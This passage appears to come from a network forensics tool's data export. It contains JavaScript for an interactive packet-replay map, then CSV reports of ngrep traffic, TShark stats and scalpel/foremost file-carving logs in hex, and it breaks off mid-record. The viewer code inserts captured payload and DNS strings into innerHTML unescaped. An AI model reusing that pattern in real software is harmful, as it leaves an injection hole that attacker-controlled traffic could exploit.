d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"69edf0c659a6632dae07de46"},"sha256":"02aa8cabeea2a0120a31adbf0886f821d10953fc6d4d9cd1959568093c48b04d","timestamp":{"$date":"2026-04-29T18:19:26.267Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered__34kyfcw.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #1\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #2\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #3\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #4\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #5\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #6\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #7\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #8\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #9\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #10\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #11\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #12\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #13\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #14\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n#\nT 192.168.122.168:49899 -> 4.213.25.240:443 [AP] #15\n....^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\n#\nT 192.168.122.168:49892 -> 4.213.25.240:443 [AP] #16\n...................t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....;U.'#....\\.06..7.....Zq...S%...G.o.#.....]8#....).F...0.....^.\"\".&Z.;.k..7..\\.}...`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....4.....5\\..u..BVc\n##exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpxcn_f98q/tshark/stats/tshark_io_graph.txt\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-04-29T18:19:23.895223,Tool:tmpxcn_f98q/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpxcn_f98q/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-04-29T18:19:23.898390,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpxcn_f98q/carved/scalpel/audit.txt,610,f0833c22c7825d2c938ab27e095682c1,7d3e54bc5704325b5e21b2e674ed5c73aec382915268cbe2fb8b30c05a365bf4,5.00,\"Scalpel version 1.60 audit file, Started at Wed Apr 29 18:19:23 2026, Command line:, scalpel -c /tmp/tmpxcn_f98q/carved/scalpel.conf /tmp/filtered__34kyfcw.pcap -o /tmp/tmpxcn_f98q/carved/scalpel , Output directory: /tmp/tmpxcn_f98q/carved/scalpel, Configuration file: /tmp/tmpxcn_f98q/carved/scalpel.conf, Opening target , /tmp/filtered__34kyfcw.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, 00000001.gif         2087, YES               0, filtered__34kyfcw.pcap, 00000000.gif         2087, YES               0, filtered__34kyfcw.pcap, Completed at Wed Apr 29 18:19:23 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 31 38 3a 31 39 3a 32 33 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 78 63 6e 5f 66 39 38 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 5f 33 34 6b 79 66 63 77 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 78 63 6e 5f 66 39 38 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 78 63 6e 5f 66 39 38 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 78 63 6e 5f 66 39 38 71 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 5f 33 34 6b 79 66 63 77 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 30 30 30 30 30 30 30 31 2e 67 69 66 20 20 20 20 20 20 20 20 20 32 30 38 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 5f 33 34 6b 79 66 63 77 2e 70 63 61 70 0a 30 30 30 30 30 30 30 30 2e 67 69 66 20 20 20 20 20 20 20 20 20 32 30 38 37 09 09 59 45 53 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 09 09 66 69 6c 74 65 72 65 64 5f 5f 33 34 6b 79 66 63 77 2e 70 63 61 70 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 31 38 3a 31 39 3a 32 33 20 32 30 32 36 0a\n2026-04-29T18:19:23.891291,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpxcn_f98q/carved/foremost/audit.txt,698,d9283e775fea50a0a41538cf7a780755,9aa1aa36df46dc84860f465d2e9bb68bf1cf466d9ac3243a41c846f732f41b3c,4.93,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Wed Apr 29 18:19:23 2026, Invocation: foremost -t all -i /tmp/filtered__34kyfcw.pcap -o /tmp/tmpxcn_f98q/carved/foremost , Output directory: /tmp/tmpxcn_f98q/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered__34kyfcw.pcap, Start: Wed Apr 29 18:19:23 2026, Length: 4 KB (4492 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Wed Apr 29 18:19:23 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Wed Apr 29 18:19:23 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 20 31 38 3a 31 39 3a 32 33 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 5f 33 34 6b 79 66 63 77 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 78 63 6e 5f 66 39 38 71 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 78 63 6e 5f 66 39 38 71 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 5f 33 34 6b 79 66 63 77 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 57 65 64 20 41 70 72 20 32 39 20 31 38 3a 31 39 3a 32 33 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 34 20 4b 42 20 28 34 34 39 32 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 57 65 64 20 41 70 72 20 32 39 20 31 38 3a 31 39 3a 32 33 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 57 65 64 20 41 70 72 20 32 39 